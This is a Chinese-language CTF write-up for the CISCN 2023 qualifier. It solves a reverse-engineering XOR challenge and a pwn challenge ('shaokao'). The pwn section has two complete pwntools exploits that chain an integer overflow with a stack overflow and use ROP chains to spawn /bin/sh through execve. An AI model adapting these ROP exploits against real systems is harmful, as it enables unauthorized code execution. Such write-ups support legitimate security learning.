CISCN2023初赛部分wp

j1ya Lv5
  2023-05-20 22:41:27 2023-05-20 22:41:27 创建   2026-08-09 13:15:46 2026-08-09 13:15:46 更新      

Reverse

babyRE

把xml导入给定网站可以发现类似小学编程的内容

导出密文后异或得到flag

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a=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
for i in range(1,len(a)):
    a[i]=a[i]^a[i-1]

print(bytes(a))
#b'flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}'

Pwn

烧烤摊

1和2是买东西，3查看余额，4买摊位，5改名字

!

1和2里面存在整数溢出，可以增加money去买摊位

5改摊位名称的函数不存在canary可以栈溢出，把/bin/sh写到name上，同时劫持返回地址到rop链，由于文件静态编译可以打ret2syscall

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from pwn import *
p = process('./shaokao')
#p = remote('39.105.187.49',42285)
context(arch = elf.arch,log_level = 'debug',os = 'linux')

p.sendline('2')
p.sendline('2')
p.sendline('-100000')
p.sendline('4')
p.sendline('5')

name = 0x4E60F0
pop_rax_rdx_rbx_ret = 0x4a404a
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
syscall = 0x402404

payload = b'/bin/sh\x00'.ljust(0x28, b'a')
payload += p64(pop_rax_rdx_rbx_ret)
payload += p64(59)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(name)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

静态编译，可以由系统自动构造ropchain

同样需要先利用整数溢出先买摊位，然后到栈溢出的位置，用生成的ropchain覆盖返回地址

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from pwn import *
from struct import pack

filename='./shaokao'
elf = ELF(filename)
io = process(filename)
#io = remote('39.105.187.49',42285)
context(arch = elf.arch,log_level = 'debug',os = 'linux')

io.sendline('2')
io.sendline('2')
io.sendline('-100000')
io.sendline('4')
io.sendline('5')

p = b'a'*0x28
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
io.sendline(p)

io.interactive()
  • 标题: CISCN2023初赛部分wp
  • 作者: j1ya
  • 创建于 : 2023-05-20 22:41:27
  • 更新于 : 2026-08-09 13:15:46
  • 链接: https://redefine.ohevan.com/2023/05/20/CISCN2023初赛部分wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
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目录
CISCN2023初赛部分wp
  1. Reverse
    1. babyRE
  2. Pwn
    1. 烧烤摊